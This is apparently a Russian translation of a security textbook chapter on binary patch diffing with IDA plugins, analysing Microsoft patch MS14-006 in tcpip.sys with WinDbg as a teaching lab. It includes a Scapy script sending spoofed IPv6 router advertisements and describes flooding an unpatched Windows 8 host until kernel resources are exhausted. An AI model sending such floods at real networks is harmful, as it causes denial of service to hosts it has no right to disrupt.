Ручной анализ скомпилированного кода больших двоичных файлов с использованием дизассемблеров, таких как Interactive Disassembler (IDA), может быть сложной задачей даже для самого опытного исследователя. Благодаря использованию свободно доступных и коммерчески доступных бинарных инструментов для различий, процесс сосредоточения внимания на интересующем коде, связанном с исправленной уязвимостью, может быть упрощен. Такие инструменты могут сэкономить сотни часов времени, затрачиваемого на изменение кода, который может не иметь отношения к искомой уязвимости. Вот четыре наиболее широко известных бинарных инструмента для сравнения:
- Zynamics BinDiff (коммерческий продукт, 200 долларов США) Приобретенный Google в начале 2011 года, Zynamics BinDiff доступен по адресу www.zynamics.com/bindiff.html. Требуется лицензионная версия IDA версии 5.5 или новее.
- turbodiff (бесплатный продукт) Разработанный Nicolas Economou из Core Security, turbodiff доступен по следующему адресу:http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=turbodiff. Может использоваться с бесплатной версией IDA 4.9 или 5.0.
- patchdiff2 (бесплатный продукт) Разработанный Nicolas Pouvesle, patchdiff2 доступен по адресу https://code.google.com/p/patchdiff2/. Требуется лицензионная версия IDA 6.1 или новее.
- DarunGrim (бесплатный продукт) Разработано Jeong Wook Oh (Matt Oh), DarunGrim доступен на www.darungrim.org. Требуется последняя лицензионная версия IDA.Click to expand...
Каждый из этих инструментов работает как плагин для IDA, используя различные методы и эвристики для определения изменений кода между двумя версиями одного и того же файла. При использовании каждого инструмента для одних и тех же входных файлов могут быть разные результаты. Каждому из инструментов требуется возможность доступа к файлам базы данных IDA (.idb), следовательно, требуется лицензионная версии IDA или бесплатная версия для turbodiff. Для примеров в этой главе мы будем использовать коммерческий инструмент BinDiff, а также turbodiff, поскольку он работает с бесплатной версией IDA 5.0, которая все еще доступна на сайте Hex-Rays по следующему адресу: [www.hex- rays.com/products/ida/support/download_freeware.shtml](http://www.hex- rays.com/products/ida/support/download_freeware.shtml)
Это позволит тем, у кого нет коммерческой версии IDA, иметь возможность выполнять упражнения. DarunGrim - это один из четырех упомянутых инструментов, который, по-видимому, все еще активно поддерживается публично выпускаемыми обновлениями, а недавно объявили о DarunGrim4. DarunGrim требует немного больше времени для настройки, но поставляется с некоторой фантастической интеграцией с IDA и архивированием патчей. Авторы каждого из этих инструментов должны быть высоко похвалены за предоставление таких замечательных инструментов.
BinDiff
Как уже упоминалось ранее, в начале 2011 года Google приобрела немецкую компанию по разработке программного обеспечения Zynamics вместе с известным исследователем Thomas Dullien, также известным как Halvar Flake, который является руководителем исследований. Zynamics был широко известен инструментами BinDiff и BinNavi, оба из которых помогают в реверс-инжиниринге. После приобретения Google значительно снизил цены на эти инструменты, сделав их гораздо более доступными. Новые версии инструментов обычно не выпускаются, причем BinDiff 4 является самой последней версией, выпущенной еще в декабре 2011 года. Несмотря на это, BinDiff часто называют одним из лучших инструментов в своем роде, обеспечивающим глубокий анализ изменений блоков и кода.
BinDiff поставляется в виде пакета установщика Windows (.msi) при покупке. Для установки требуется всего несколько щелчков мыши и лицензионная копия IDA версии 5.5 или более поздней. Чтобы использовать BinDiff, вы должны разрешить IDA выполнять автоматический анализ двух файлов, которые вы хотите сравнить и сохранить файлы IDB. Как только это будет завершено, и когда один из файлов будет открыт внутри IDA, вы нажимаете CTRL+6, чтобы вызвать графический интерфейс BinDiff, как показано здесь:
Следующий шаг - нажать кнопку Diff Database и выбрать другой файл IDB для
сравнения. В зависимости от размера файлов, это может занять минуту или две,
чтобы закончить. После завершения сравнения в IDA появятся несколько новых
вкладок, в том числе Matched Functions, Primary Unmatched и Secondary
Unmatched. Вкладка Matched Functions содержит функции, которые существуют в
обоих файлах, которые могут включать или не включать изменения.
Каждой функции присваивается значение от 0 до 1,0 в столбце Similarity, как
показано ниже. Чем ниже значение, тем больше функция изменилась между двумя
файлами. Как сказано в Zynamics относительно вкладок Primary Unmatched и
Secondary Unmatched: "Первая отображает функции, которые содержатся в текущей
открытой базе данных и не были связаны с какой-либо функцией базы данных
diffed, в то время как Secondary Unmatched subview содержит функции, которые
есть в базе сравнения, но не были связан с любыми функциями в первую очередь.
"
Важно для сравнения получить правильные версии файла, чтобы получить наиболее точные результаты. Отправляясь в Microsoft TechNet для приобретения исправлений, вы увидите колонку в правом нижнем углу под названием "Updates Replaced". Нажав на ссылку в этом месте, вы перейдете к предыдущему последнему обновлению файла, который был исправлен. Файл, такой как mshtml.dll, исправляется почти каждый месяц. Если вы сравните версию файла несколькими месяцами ранее с только что выпущенным патчем, количество различий между этими двумя файлами сильно затруднит анализ. Другие файлы исправляются не очень часто, поэтому, нажав вышеупомянутую ссылку Updates Replaced, вы перейдете к последнему обновлению рассматриваемого файла, чтобы вы могли найти нужные версии. После того, как интересующая функция идентифицирована с помощью BinDiff, можно сгенерировать визуальное представление сравнения, либо щелкнув правой кнопкой мыши нужную функцию на вкладке Matched Functions и выбрав View Flowgraphs, либо щелкнув нужную функцию и нажав CTRL+E. Ниже приведен пример визуального различия. Обратите внимание, что не ожидается, что вы можете прочитать дизассемблерный код, потому что он уменьшен, чтобы поместиться на странице.
turbodiff
Другой инструмент, который мы рассмотрим в этой главе это turbodiff. Этот инструмент был выбран из-за его способности работать с бесплатной версией IDA 5.0, которая все еще доступна для загрузки на веб-сайте Hex-Rays. DarunGrim и patchdiff2 также являются отличными инструментами; тем не менее, для их использования требуется лицензионная копия IDA, что делает невозможным чтение книг, выполненных в этой главе, без владения или приобретения лицензионной копии. DarunGrim и patchdiff2 удобны для пользователя и просты в настройке с помощью IDA. Доступна литература для помощи в установке и использовании (см. Раздел For Further Reading в конце этой главы).
Как упоминалось ранее, плагин turbodiff можно приобрести на веб-сайте http://corelabs.coresecurity.com/, и его можно бесплатно загрузить и использовать по лицензии GPLv2. Последним стабильным выпуском является версия 1.01b_r2, выпущенная 19 декабря 2011 года. Чтобы использовать turbodiff, вы должны загрузить два файла, которые будут показаны по одному в IDA. После того, как IDA завершит автоматический анализ первого файла, нажмите CTRL+F11, чтобы вызвать всплывающее меню turbodiff. Из опций при первом анализе файла выберите "take info from this idb" и нажмите "ОК". Повторите те же шаги для другого файла, который будет включен в сравнение. После того, как это будет выполнено для обоих файлов, которые необходимо проверить, снова нажмите CTRL+F11, выберите опцию compare with…, а затем выберите другой файл IDB. Должно появиться следующее окно:
В столбце категории вы можете увидеть такие метки, как идентичные, подозрительные+, подозрительные++ и измененные. Каждый ярлык имеет значение и может помочь инспектору увеличить наиболее интересные функции, в первую очередь ярлыки suspicious+ и suspicious++. Эти метки указывают, что контрольные суммы в одном или нескольких блоках в пределах выбранной функции были обнаружены, а также изменилось или нет количество команд. Когда вы дважды щелкаете мышью по имени нужной функции, отображается визуальное сравнение с каждой функцией, отображаемой в своем собственном окне, как показано здесь:
В этой лабораторной работе вы выполните простое сравнение с кодом, ранее показанным в разделе Application Diffing. Двоичные файлы ELF name и name2 должны сравниваться. Файл name является непропатченным, а name2 — пропатченным. Сначала вы должны запустить бесплатную IDA free 5.0, которое вы ранее установили. Как только она будет запущена, перейдите в File|New, выберите вкладку Unix из всплывающего окна и нажмите опцию ELF слева, как показано здесь, и затем нажмите OK.
Перейдите в папку C:\grayhat\app_diff\ и выберите файл name. Примите параметры по умолчанию, которые появляются. IDA должна быстро завершить свой автоанализ, по умолчанию используя функцию main() в окне дизассемблера, как показано ниже:
Нажмите CTRL+F11, чтобы открыть всплывающее окно turbodiff. Если оно не появляется, вернитесь назад и убедитесь, что вы правильно скопировали необходимые файлы для turbodiff. В окне turbodiff на экране выберите опцию "take info from this idb" и нажмите "ОК", а затем еще один раз "ОК". Далее перейдите в File | New, и вы получите всплывающее окно с вопросом, хотите ли вы сохранить базу данных. Примите значения по умолчанию и нажмите "ОК". Повторите шаги выбора вкладки UNIX|ELF Executable и нажмите кнопку "ОК". Откройте двоичный файл ELF name2 и примите значения по умолчанию. Повторите шаги, чтобы открыть всплывающее окно turbodiff и выбрать опцию "take info from this idb".
Теперь, когда вы завершили это для обоих файлов, снова нажмите CTRL+F11, файл name2 все еще открыт в IDA. Выберите опцию "compare with…" и нажмите "ОК". Выберите файл name.idb и нажмите "ОК", а затем еще один "ОК". Должно появиться следующее окно (возможно, вам придется отсортировать по категориям, чтобы повторить точное изображение):
Обратите внимание, что функция getName() помечена как "suspicious ++". Дважды щелкните функцию getName(), чтобы открыть следующее окно:
На этом изображении левое окно показывает пропатченную функцию, а правое окно показывает непропатченную функцию. Непатченный блок использует функцию gets(), которая не выполняет проверку границ. Патченный блок использует функцию fgets(), которая требует аргумент размера, чтобы предотвратить переполнение буфера. Пропатченный дизассемблерный код показан здесь:
mov eax, ds:stdin@@GLIBC_2_0
mov [esp+38h+var_30], eax
mov [esp+38h+var_34], 14h
lea eax, [ebp+var_20]
mov [esp+38h+var_38], eax
call _fgetsClick to expand...
В двух функциях было несколько дополнительных блоков кода, но они белого цвета и не содержат измененного кода. Это просто код защиты стека, который проверяет наличие canaries, за которым следует эпилог функции. К этому моменту вы завершили лабораторную работу. Двигаясь вперед, мы посмотрим real-world различия.
Процесс управления патчами
У каждого поставщика есть свой собственный процесс распространения исправлений, в том числе Oracle, Microsoft и Apple. Некоторые поставщики имеют установленный график выпуска исправлений, тогда как другие не имеют установленного графика. Постоянный цикл выпуска исправлений, например, используемый Microsoft, позволяет лицам, ответственным за управление большим количеством систем, планировать соответственно. Внешние исправления могут быть проблематичными для организаций, потому что не может быть ресурсов, доступных для развертывания обновлений. Мы сконцентрируемся в первую очередь на процессе управления исправлениями Microsoft, потому что это зрелый процесс, который часто предназначен для выявления уязвимостей с целью получения прибыли.
Microsoft Patch Tuesday
Во второй вторник каждого месяца проводится ежемесячный цикл исправлений
Microsoft, с периодическими внеполосными исправлениями из-за критического
обновления. Сводку по каждому обновлению можно найти по адресу
https://technet.microsoft.com/en-us/security/bulletin. Патчи обычно получают
с помощью средства Центра обновления Windows из панели управления Windows или
централизованно управляют таким продуктом, как службы обновления Windows
Server (WSUS). Когда патчи нужны для сравнения, их можно получить по
вышеупомянутой ссылке TechNet. На следующем изображении показан пример
доступных обновлений:
Каждый из этих бюллетеней исправлений связан с дополнительной информацией об обновлении. Некоторые обновления являются результатом публично обнаруженной уязвимости, в то время как большинство происходит посредством какой-либо формы скоординированного частного раскрытия. На следующем рисунке показан пример одной такой уязвимости, раскрытой в частном порядке:
Как видите, об этой уязвимости предоставляется только ограниченная информация.
Чем больше информации предоставлено, тем больше вероятность того, что кто-то
сможет быстро найти пропатченный код и создать рабочий эксплоит. В зависимости
от размера обновления и сложности уязвимости, обнаружение только исправленного
кода может быть сложной задачей. Часто уязвимое состояние является только
теоретическим или может быть вызвано только в очень специфических условиях.
Это может увеличить сложность в определении основной причины и создании
проверочного кода, который успешно вызывает ошибку. Как только основная
причина определена и уязвимый код достигнут и доступен для анализа в
отладчике, необходимо определить, насколько сложно будет выполнить код, если
это применимо.
Лабораторная работа 19-2. Получение и извлечение исправлений Microsoft
Давайте потратим немного времени на скачивание и извлечение патча Microsoft. Мы проанализируем обновление "MS14-006 - Уязвимость в IPv6 делает возможным отказ в обслуживании (2904659)". Ссылку на этот бюллетень можно найти по адресу https://technet.microsoft.com/en-us/library/security/ms14-006.aspx. Это объявление является хорошим примером ошибки, которая была обнародована, и количества доступных деталей позволяет нам легче идентифицировать исправленный код, представляющий интерес. Если вы нажмете на ссылку, вы увидите, что исправление применяется к операционным системам Windows 8.0 (32-разрядная и 64-разрядная), Windows Server 2012 (32-разрядная и 64-разрядная версия) и Windows RT. Патч не распространяется на Windows 8.1, потому что эта версия уже имела исправленный код. Давайте скачаем патч и распакуем его содержимое. Вам понадобится Windows 8.0 (32-разрядная или 64-разрядная версия) для этой лабораторной работы. Перейдите в раздел Affected Software на веб-странице. Как показано на следующем рисунке, два варианта предназначены для 32-разрядной версии Windows 8 и 64-разрядной версии Windows 8.
Если у вас нет лицензионной версии IDA, вам нужно будет выбрать 32-разрядную версию, чтобы вы могли использовать инструмент turbodiff для анализа файлов. Бесплатная IDA 5.0 не поддерживает 64-битные файлы. В этой главе мы сосредоточимся в первую очередь на 64-битной версии, но также будет показана 32-битная версия для демонстрации анализа turbodiff.
Нажмите на соответствующую ссылку, а затем нажмите кнопку Скачать, как показано на следующем рисунке:
Сохраните файл Windows8-RT-KB2904659-x64.msu (или 32-разрядную версию) в C:\grayhat\ms14-006\patched\. Затем перейдите в эту папку с помощью командной оболочки. Чтобы извлечь патч, мы будем использовать инструмент расширения, который поставляется с Windows по умолчанию. Запустите следующую команду:
c:\grayhat\MS14-006\patched>expand -F:* Windows8-RT-KB2904659-x64.msu .
Microsoft (R) File Expansion Utility Version 6.1.7600.16385
Copyright (c) Microsoft Corporation. All rights reserved.
Adding .\WSUSSCAN.cab to Extraction Queue
Adding .\Windows8-RT-KB2904659-x64.cab to Extraction Queue
Adding .\Windows8-RT-KB2904659-x64-pkgProperties.txt to Extraction Queue
Adding .\Windows8-RT-KB2904659-x64.xml to Extraction Queue
Expanding Files ....
Expanding Files Complete ...
4 files total.Click to expand...
Как видите, было извлечено несколько файлов. Далее нам нужно извлечь файл .cab. Запустите ту же команду expand, что и раньше, но для этого файла:
c:\grayhat\MS14-006\patched>expand -F:* Windows8-RT-KB2904659-x64.cab .
Click to expand...
Вывод команды не отображается из-за большого количества извлеченных файлов. Выполните следующую команду, чтобы просмотреть только извлеченные каталоги (выходные данные усекаются):
c:\grayhat\MS14-006\patched>dir /AD
Directory of c:\grayhat\MS14-006\patched
05/29/2014 12:59 PMamd64_microsoft-windows-tcpip-binaries_31
bf3856ad364e35_6.2.9200.16754_none_0c083112f01217b6
05/29/2014 12:59 PMamd64_microsoft-windows-tcpip-binaries_31
bf3856ad364e35_6.2.9200.20867_none_0c89fed009351f76Click to expand...
Перейдите к первой папке с "6.2.9200.16754" в заголовке. При запуске команды dir в этой папке вы можете видеть, что там находится файл tcpip.sys вместе с файлом fwpkclnt.sys. Нас интересует драйвер tcpip.sys. Затем загрузите непропатченный файл tcpip.sys, который будет использоваться в diff.
Теперь у вас есть оба готовых файла для сравнения.
Изучение патча
Позже вы увидите, что анализируемый вами патч датируется октябрём 2013 года, хотя этот патч не был выпущен до февраля 2014 года. Это связано с тем, что Windows 8.1 была выпущена с исправленным кодом, но патч не был выпущен для Windows 8.0 и Server 2012. Windows 7 и другие операционные системы исключены из этого обновления. Nicolas Economou из Core Security опубликовал в блоге, в котором говорится, что Core Security связался с Microsoft, чтобы спросить, почему Windows 7 не была включена в состав патча. Microsoft ответила, что Windows 8 и Server 2012 потенциально могут получить «голубой экран смерти» (BSoD) из-за ошибки, но Windows 7 и другие версии не имеют этой проблемы.
BinDiff будет использоваться для проверки патча tcpip.sys для 64-разрядной версии Windows 8.0. Затем у нас будет лабораторная, использующая turbodiff для 32-битной версии Windows 8.0. Сначала мы должны разрешить IDA выполнить автоматический анализ в отношении как непатченных, так и пропатченных версий файла tcpip.sys. Завершив это, и с непропатченной версией файла, загруженной в данный момент, мы можем нажать CTRL+6, чтобы вызвать всплывающее окно BinDiff, и выбрать пропатченную версию tcpip.sys для diff. После того, как это выполнено, мы можем взглянуть на вкладку Matched Functions и увидеть довольно много функций, которые включают изменения. За прошедшие годы было проведено много исследований способов обфускации процесса обновления патча, чтобы эти методы сравнения были эффективными. Jeong Wook Oh выпустил отличную статью на BlackHat 2009 на эту тему. Проверьте раздел "For Further Reading" для получения ссылки. Еще одна хорошая статья о диверсификации двоичного кода также указана ниже. Исторически Microsoft не имела возможности участвовать в обфускации большого количества кода, чтобы предотвратить взлом приложений; однако часто отмечалось, что количество измененных функций при изменении патча значительно увеличилось за эти годы, и сделало анализ более сложным. Можно только полагать, что выполняются трюки с обфускацией, например, переупорядочивание команд.
К счастью, Microsoft, как и некоторые другие вендоры, предоставляют символы. Эти символы чрезвычайно полезны, потому что мы часто можем соотнести информацию, представленную в бюллетене патча, с очевидными именами символов. Когда мы смотрим на CVE-2014-0254, который связан с исправленной уязвимостью и на сайте говориться "Реализация IPv6 в Microsoft Windows 8, Windows Server 2012 и Windows RT неправильно проверяет пакеты, который позволяет удаленным злоумышленникам вызывать отказ в обслуживании (зависание системы) с помощью специально созданных пакетов объявления маршрутизатора ICMPv6, или "Уязвимость отказа в обслуживании в TCP/IP версии 6 (IPv6)". Уже несколько лет известно, что, отправляя объявления о маршрутах IPv6 с использованием случайного MAC- адреса и случайного префикса маршрута IPv6, вы можете вызвать отказ в обслуживании для множества различных устройств. Поскольку мы знаем, что уязвимость связана с IPv6, и что задействован анонс маршрутов с использованием префиксов , давайте посмотрим на имена символов, которые отображаются как измененные после сравнения.
Обращая внимание на имена, начинающиеся с "IPv6", мы видим следующие функции, которые включают изменения (обратите внимание, что этот список был усечен):
Некоторые имена функций явно выделяются, например, Ipv6pUpdateSitePrefix и
Ipv6pHandleRouterAdvertise. При проверке функции Ipv6pUpdateSitePrefix внутри
IDA и получении перекрестных ссылок с помощью CTRL-X мы видим, что перечислены
только две функции:
Давайте выполним визуальный анализ функции Ipv6pUpdateSitePrefix, щелкнув ее имя на вкладке Matched Functions и нажав CTRL+E. Если посмотреть на две функции с высоким уровнем, мы увидим довольно много изменений, как показано ниже:
Когда мы увеличиваем изменения, трудно понять, на какой контент указывает каждый регистр.
Это требует сеанса отладки, чтобы все поставить на свои места, что может занять очень много времени. Что можно быстро заметить, так это то, что как неппропатченный файл, так и пропатченный файл имеют одинаковый блок с обеих сторон, который вызывает функцию ExAllocatePoolWithTag. Изучив эту функцию в MSDN, мы увидим, что она имеет следующее назначение: "Процедура ExAllocatePoolWithTag выделяет пул памяти указанного типа и возвращает указатель в RAX или EAX на выделенный блок".
PVOID ExAllocatePoolWithTag(
In POOL_TYPE PoolType,
In SIZE_T NumberOfBytes,
In ULONG Tag
);Click to expand...
Перед этим вызовом в пропатченном коде проводится сравнение между смещением +1E8h c 64-битным регистром RDI и значением 0xA (10). Это сравнение не существует в непропатченном коде, что именно то, что Nicolas Economou заметил в своем блоге с файлом 32-битного драйвера. Инструкция после сравнения - JNB (короткий переход, если не ниже), в результате чего при выполнении перехода не выделяется пул ядра. Итак, другими словами, если значение, на которое указывает смещение от RDI, равно 0–9, мы выделяем память; в противном случае мы переходим к функции эпилога. Инструкция JNB проверяет флаг переноса (CF), чтобы определить условие.
В следующем блоке кода сразу после вызова ExAllocatePoolWithTag (не показан на предыдущем изображении) выполняется инструкция inc dword ptr [rdi + 1E8h]. Первая инструкция перед вызовом для выделения памяти пула ядра проверяет, меньше ли значение в этом месте, чем 10, и, если мы сделаем это до этой точки после выделения, мы увеличиваем это значение на 1. Это счетчик для чего-то, но нам нужно больше контекста. Чтобы получить этот контекст, нам нужно настроить сеанс отладки ядра с WinDbg, поскольку драйвер tcpip.sys работает в кольце 0.
Лабораторная 19-3: Сравнение MS14-006 с помощью turbodiff
Прежде чем перейти к сеансу отладки ядра, мы будем использовать это время чтобы достичь той же точки с использованием turbodiff для 32-битной версией обновления. Начните с открытия бесплатной версии IDA 5.0, описанной ранее. Перейти к File | Open и перейдите в каталог C:\grayhat\MS14-006\ и откройте 32-разрядную непропатченную версию tcpip.sys. Примите все значения по умолчанию и разрешите IDA выполнить автоматический анализ, который может занять несколько минут.
После того, как автоматический анализ закончен на непропатьченной версии, нажмите CTRL+F11, чтобы вызвать всплывающее окно с turbodiff, выберите опцию "take info from this idb" и дважды нажмите "ОК". Повторите эти шаги для исправленной версии 32-битного файла tcpip.sys, включая команды turbodiff. После того, как вы выполнили это для обоих файлов, с одним из файлов, загруженных в IDA, снова нажмите CTRL+F11, чтобы вызвать всплывающее окно с turbodiff. Выберите опцию "compare with…" и дважды нажмите "ОК". Теперь у вас должно появиться следующее окно на вашем экране:
Сортируем по имени и переходим к функции Ipv6pUpdateSitePrefix. Дважды
щелкните эту функцию, чтобы вызвать визуальный инструмент. Найдите следующий
блок кода в пропатченной версии и найдите его в "непропатченном окне". Самый
быстрый способ это определить функцию ExAllocatePoolWithTag в обоих окнах.
На этом изображении мы видим тот же блок кода, который сравнивает некоторую переменную с 0xA (10). На этот раз сравнивается указатель ebx+148h, потому что это 32-битная версия. Потратьте некоторое время на дизассемблерный код. Далее мы перейдем к сеансу отладки ядра.
Kernel Debugging
Теперь мы должны установить сеанс отладки ядра, чтобы двигаться далее. Нам нужно будет использовать WinDbg, потому что он поддерживает отладку Ring 0. Самый простой способ запустить его в работу - это использовать хост-систему Windows 7 или Windows 8, при этом VMware Workstation работает под управлением гостевой ОС Windows 8.0. Если у вас нет копии VMware Workstation, вы можете получить бесплатную 30-дневную пробную версию на сайте www.vmware.com. Чтобы настроить отладочную связь ядра между хостом и гостевой ОС, мы будем использовать VirtualKD от SysProgs. Вы можете скачать инструмент по адресу http://virtualkd.sysprogs.org/. VirtualKD - это удивительный бесплатный инструмент, который позволяет легко отлаживать адро Windows, что значительно повышает производительность. В этом разделе мы будем использовать его с 64-разрядной ОС Windows 8, а затем пройдем процедуру установки 32-разрядной версии в следующей лабораторной. Ниже приведен снимок экрана, показывающий VirtualKD с активным сеансом отладки ядра для 64-разрядной виртуальной машины Windows 8:
При активном сеансе отладки ядра нам нужно установить несколько точек останова и создать скрипт, который будет запускать блок кода. Мы будем использовать следующий код Python с Scapy, чтобы убедиться, что мы попали в нужный блок кода.
Python:Copy to clipboard
from scapy.all import *
pkt = Ether() \
/IPv6() \
/ICMPv6ND_RA() \
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:00:0c"))
sendp(pkt,count=1)
Этот код просто создает один пакет объявления маршрута IPv6, используя случайный MAC-адрес с OUI Cisco Systems для первой половины (00:00:0c) и случайный префикс IPv6. Мы назовем скрипт IPv6_RA.py и запустим его на Kali Linux. Виртуальная машина Kali Linux должна находиться в той же локальной подсети, что и целевая виртуальная машина Windows 8.
Когда скрипт готов к работе, нам нужно установить точки останова. Ранее мы смотрели на сравнение некоторой хранимой переменной и 0xA (10), после чего следовала инструкция JNB. Если мы не делаем переход, мы вызываем ExAllocatePoolWithTag, а затем увеличиваем вышеупомянутую переменную на 1. Поскольку ASLR работает в целевой системе, нам нужно установить точки останова в WinDbg как смещение от имени символа Ipv6pUpdateSitePrefix. Мы используем 64-разрядную виртуальную машину Windows 8.0 с патчем MS14-006 (KB2904659), примененным для достижения контрольных точек для проверки. Если посмотреть на пропатченную функцию Ipv6pUpdateSitePrefix внутри IDA и щелкнуть инструкции, ссылающиеся на "rdi+ 1E8h", как показано далее, мы можем получить смещения, которые будут использоваться для наших точек останова в WinDbg.
Эти точки останова позволят нам увидеть, что "rdi + 1E8h" хранится до и после выделения пула ядра. Ниже показаны точки останова, устанавливаемые после перезагрузки символов:
nt!DbgBreakPointWithStatus:
fffff801'0b0f3930 cc int 3
kd> .reload
Connected to Windows 8 9200 x64 target at (Fri May 30 12:04:23.037 2014
(UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
..........
Loading User Symbols
kd> bp tcpip!Ipv6pUpdateSitePrefix+112
kd> bp tcpip!Ipv6pUpdateSitePrefix+156
kd> bl
0 e fffff880'01b26c02 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x112
1 e fffff880'01b26c46 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x156Click to expand...
Теперь, когда мы настроили наши точки останова, мы запустим скрипт Scapy для отправки одного объявления маршрута IPv6:
root@kali:~# python IPv6_RA.py
.
Sent 1 packets.Click to expand...
Глядя на WinDbg, мы видим, что первая точка останова успешно достигнута, и мы проверяем значение, сохраненное в "rdi+ 1E8h":
Breakpoint 0 hit
tcpip!Ipv6pUpdateSitePrefix+0x112:
fffff880'01b26c02 83bfe80100000a cmp dword ptr [rdi+1E8h],0Ah
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000000Click to expand...
В настоящее время сохранено значение 0. Затем мы нажимаем F5 для продолжения и достигаем следующей точки останова:
kd> g
Breakpoint 1 hit
tcpip!Ipv6pUpdateSitePrefix+0x156:
fffff880'01b26c46 ff87e8010000 inc dword ptr [rdi+1E8h]
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000000
kd> t
tcpip!Ipv6pUpdateSitePrefix+0x15c:
fffff880'01b26c4c 488b4e08 mov rcx,qword ptr [rsi+8]
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000001Click to expand...
При проверке значения в "rdi + 1E8h" после достижения точки останова и пошагового выполнения с помощью команды t мы видим, что значение было увеличено до 1. Таким образом, каждый раз, когда мы попадаем на этот блок кода, значение, хранящееся в этом месте, увеличивается на 1 до достижения 0xA (10). В этот момент мы не выполняем распределение пула ядра, а вместо этого перенесемся в ветвь-функцию эпилога. Далее мы должны определить, для чего выделяется память. Если посмотреть на код непосредственно над инструкцией, которая увеличивает хранимое значение на 1, мы увидим следующее:
movups xmm0, [rsp+88h+var_58]
mov [rax+10h], rdi
mov [rax+18h], ebp
mov [rax+1Ch], r15d
mov [rax+20h], r13b
movdqu xmmword ptr [rax+22h], xmm0
inc dword ptr [rdi+1E8h]Click to expand...
Помните, RAX - это то, что возвращает указатель из распределения пула ядра. В предыдущих инструкциях вы можете видеть, что данные записываются в смещения из этого возвращаемого указателя. В первой инструкции вы можете видеть, что значение из стека, ссылающееся на регистр RSP, копируется в регистр xmm0 с помощью инструкции movups. Эта инструкция переводится как "Переместить невыровненные упакованные значения FP одинарной точности". Она перемещает двойное слово из одного места в другое. XMM0 – XMM7 и XMM8 – XMM16 - это 16-байтовые регистры, связанные с набором команд SSE2. Давайте установим точку останова в первой инструкции, чтобы увидеть, что копируется из стека в регистр XMM0. Если посмотреть на местоположение и смещение в IDA, мы увидим, что это смещение "+13Dh".
kd> bp tcpip!Ipv6pUpdateSitePrefix+13d
Click to expand...
Давайте также запустим Wireshark на виртуальной машине Kali Linux, чтобы захватить объявление маршрута IPv6 и сравнить значения в захвате с тем, что мы видим в отлаженном процессе. Мы установим фильтр для захвата только объявлений о маршрутах IPv6, используя icmpv6.type == 134, и снова запустим наш скрипт IPv6_RA.py. Когда мы достигаем первой точки останова, мы нажимаем F5, чтобы перейти к вновь установленной точке останова, чтобы мы могли видеть, что значение стека помещается в регистр XMM0. Вот пакет, захваченный в Wireshark с выделенным префиксом ICMP, показывающий адрес 55ad:e130:3f8f.
Затем мы выгружаем копируемую память в регистр XMM0:
Breakpoint 2 hit
tcpip!Ipv6pUpdateSitePrefix+0x13d:➊
fffff880'01b26c2d 0f10442430 movups xmm0,xmmword ptr [rsp+30h]
kd> dd rsp+30h l4
fffff801'0ae77c20 30e1ad55 011a8f3f 00000000 00000000Click to expand...
Как вы можете видеть, упакованный префикс, который мы видим здесь, совпадает с префиксом, показанным в сниффере! Вскоре после этой инструкции XMM0 записывается со смещением от регистра RAX, о распределении пула ядра, которое мы ранее рассмотрели. Затем мы можем исследовать блоки пула, выделенные на странице памяти, как указано регистром RAX.
kd> !pool rax
Pool page fffffa800f1933e0 region is Nonpaged pool
fffffa800f193000 size: 150 previous size: 0 (Allocated) File
fffffa800f193150 size: 50 previous size: 150 (Allocated) usbp
fffffa800f1931a0 size: 40 previous size: 50 (Free) Free
fffffa800f1931e0 size: 80 previous size: 40 (Allocated) Even
fffffa800f193260 size: 80 previous size: 80 (Free ) Even
fffffa800f1932e0 size: f0 previous size: 80 (Allocated) MmCa
*fffffa800f1933d0 size: 50 previous size: f0 (Allocated) *Ipng
Pooltag Ipng : IP Generic buffers (Address, Interface, Packetize,
Route allocations), Binary : tcpip.sysClick to expand...
Как видите, наше выделение помечено тегом Ipng, который обозначает IP Generic. Позволив ядру продолжить и запустить скрипт несколько раз, мы видим, что счетчик, проверяемый в "rdi+1E8h", увеличивается. После того, как он увеличивается до 0xA (10), мы больше не достигаем других точек останова.
Breakpoint 0 hit
tcpip!Ipv6pUpdateSitePrefix+0x112:
fffff880'01b26c02 83bfe80100000a cmp dword ptr [rdi+1E8h],0Ah
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 0000000a
kd> g #No more breakpoints hit!Click to expand...
Теперь мы подтвердили, что примененный патч просто добавляет проверку, чтобы увидеть, превышает ли число сохраненных префиксов маршрута IPv6 больше 10. Давайте удалим патч и сделаем 10 000 объявлений о маршрутах IPv6, а затем посмотрим на память ядра:
kd> !pool fffffa800d37a280
Pool page fffffa800d37a280 region is Nonpaged pool
fffffa800d37a000 size: 280 previous size: 0 (Allocated) Wfpn
*fffffa800d37a280 size: 50 previous size: 280 (Allocated) *Ipng
Pooltag Ipng : IP Generic buffers (Address, Interface, Packetize, Route
allocations), Binary : tcpip.sys
fffffa800d37a2d0 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a320 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a370 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a3c0 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a410 size: 50 previous size: 50 (Allocated) Ipng
fffffa800d37a460 size: 50 previous size: 50 (Allocated) IpngClick to expand...
Как видите, наш флуд поглощает ресурсы ядра. Каждый раз, когда принимается объявление о маршруте, выполняется прерывание и выполняется распределение. Непрерывное заполнение этими запросами увеличивает ресурсы до 100%. Крутой спад со 100 процентов до нуля происходит, когда сценарий был остановлен.
Лабораторная 19-4: Отладка MS14-006
